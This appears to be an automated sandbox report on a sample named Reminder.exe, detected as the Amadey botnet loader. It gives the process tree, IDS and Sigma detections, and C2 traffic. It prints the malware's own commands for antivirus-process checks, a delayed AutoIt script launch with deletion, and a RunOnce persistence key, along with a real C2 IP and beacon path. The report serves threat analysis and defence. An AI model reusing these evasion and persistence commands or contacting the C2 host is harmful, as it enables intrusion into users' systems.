Edit tour

Windows Analysis Report
Reminder.exe

Overview

General Information

Sample name:	Reminder.exe
Analysis ID:	1540342
MD5:	d743bb6502147d38addb430590bc7a98
SHA1:	16cd70dd31fc54c0e42695441dbf3eab5de2e2bd
SHA256:	ebe565a1a2b13e3cbcf7bcc58ea8bee81bd1ed2fed0e5977dc9e108ee8cbae95
Infos:

Detection

Amadey

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Silenttrinity Stager Msbuild Activity

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Drops PE files

Enables debug privileges

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the product ID of Windows

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Classification

Process Tree

System is w10x64_ra

Reminder.exe (PID: 6676 cmdline: "C:\Users\user\Desktop\Reminder.exe" MD5: D743BB6502147D38ADDB430590BC7A98)

Reminder.tmp (PID: 6664 cmdline: "C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp" /SL5="$40392,1755695,835584,C:\Users\user\Desktop\Reminder.exe" MD5: 4BFB5A37DC6ACBC273CEB792408BFEC9)

Reminder.exe (PID: 7084 cmdline: "C:\Users\user\Desktop\Reminder.exe" /VERYSILENT MD5: D743BB6502147D38ADDB430590BC7A98)

Reminder.tmp (PID: 4176 cmdline: "C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp" /SL5="$6037A,1755695,835584,C:\Users\user\Desktop\Reminder.exe" /VERYSILENT MD5: 4BFB5A37DC6ACBC273CEB792408BFEC9)

cmd.exe (PID: 6364 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6468 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6488 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6592 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2828 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1732 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5000 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6884 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3868 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 984 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6760 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6844 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6204 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5612 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3532 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6448 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6464 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2728 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

Updater.exe (PID: 6332 cmdline: "C:\Users\user\AppData\Local\coigned\\Updater.exe" "C:\Users\user\AppData\Local\coigned\\friendliwise.csv" MD5: 3F58A517F1F4796225137E7659AD2ADB)

cmd.exe (PID: 5700 cmdline: "C:\Windows\System32\cmd.exe" /c ping -n 5 127.0.0.1 >nul && updater.exe C:\ProgramData\\ZPrVgH71.a3x && del C:\ProgramData\\ZPrVgH71.a3x MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 5564 cmdline: ping -n 5 127.0.0.1 MD5: B3624DD758CCECF93A1226CEF252CA12)

Updater.exe (PID: 6728 cmdline: updater.exe C:\ProgramData\\ZPrVgH71.a3x MD5: 3F58A517F1F4796225137E7659AD2ADB)

MSBuild.exe (PID: 7096 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000029.00000002.2093368871.0000000003E62000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002A.00000002.2510265571.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Source: Threat created

Author: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, SourceProcessId: 7096, StartAddress: 420980, TargetImage: C:\Windows\System32\conhost.exe, TargetProcessId: 7096

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 152.89.198.124, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 7096, Protocol: tcp, SourceIp: 192.168.2.16, SourceIsIpv6: false, SourcePort: 49716

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\begcffd\AutoIt3.exe" C:\begcffd\fdeahdg.a3x, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\coigned\Updater.exe, ProcessId: 6728, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\fdeahdg

Suricata Signatures

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:05:17.893815+0200	2856147	1	A Network Trojan was detected	192.168.2.16	49724	152.89.198.124	80	TCP

ETPRO MALWARE Amadey CnC Activity M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T17:04:59.570187+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49717	152.89.198.124	80	TCP
2024-10-23T17:05:04.499268+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49719	152.89.198.124	80	TCP
2024-10-23T17:05:09.470466+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49721	152.89.198.124	80	TCP
2024-10-23T17:05:14.387108+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49723	152.89.198.124	80	TCP
2024-10-23T17:05:20.333260+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49725	152.89.198.124	80	TCP
2024-10-23T17:05:25.275673+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49727	152.89.198.124	80	TCP
2024-10-23T17:05:30.591193+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49729	152.89.198.124	80	TCP
2024-10-23T17:05:35.558630+0200	2856148	1	A Network Trojan was detected	192.168.2.16	49731	152.89.198.124	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Reminder.exe

ReversingLabs: Detection: 54%

Source: Reminder.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Reminder.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.16:49724 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49719 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49725 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49729 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49721 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49723 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49717 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49727 -> 152.89.198.124:80
Source: Network traffic	Suricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.16:49731 -> 152.89.198.124:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 127.0.0.1

Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 34 34 44 35 39 46 35 38 41 31 37 44 46 32 37 30 39 41 32 30 43 37 37 33 37 44 42 36 39 45 35 32 34 30 42 45 37 35 44 36 35 45 32 39 43 34 30 33 34 34 31 41 31 44 37 45 38 41 44 42 46 34 39 32 31 38 31 35 44 31 44 35 32 32 38 33 44 38 32 39 43 43 43 37 31 37 41 39 44 30 31 33 38 36 43 34 45 42 32 38 38 32 41 43 31 43 35 46 45 37 45 36 46 38 36 30 33 35 32 30 43 30 41 42 42 31 43 38 35 43 39 45 34 41 32 45 31 36 33 38 41 36 45 42 32 45 43 44 33 34 Data Ascii: r=44D59F58A17DF2709A20C7737DB69E5240BE75D65E29C403441A1D7E8ADBF4921815D1D52283D829CCC717A9D01386C4EB2882AC1C5FE7E6F8603520C0ABB1C85C9E4A2E1638A6EB2ECD34

Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124
Source: unknown	TCP traffic detected without corresponding DNS query: 152.89.198.124

Source: unknown

HTTP traffic detected: POST /8bdDsv3dk2FF/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 152.89.198.124Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Reminder.exe

Static PE information: Number of sections : 11 > 10

Source: Reminder.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal84.troj.spyw.evad.winEXE@60/7@0/11

Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp

File created: C:\Users\user\AppData\Local\coigned

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2900:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: Local\SM0:2864:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6328:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\cb36de7f397799e419deb9caf3a96a89

Source: C:\Users\user\Desktop\Reminder.exe

File created: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp

Source: C:\Users\user\Desktop\Reminder.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\Reminder.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-H0PE8.tmp\Reminder.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\Reminder.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\Reminder.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\coigned\Updater.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'
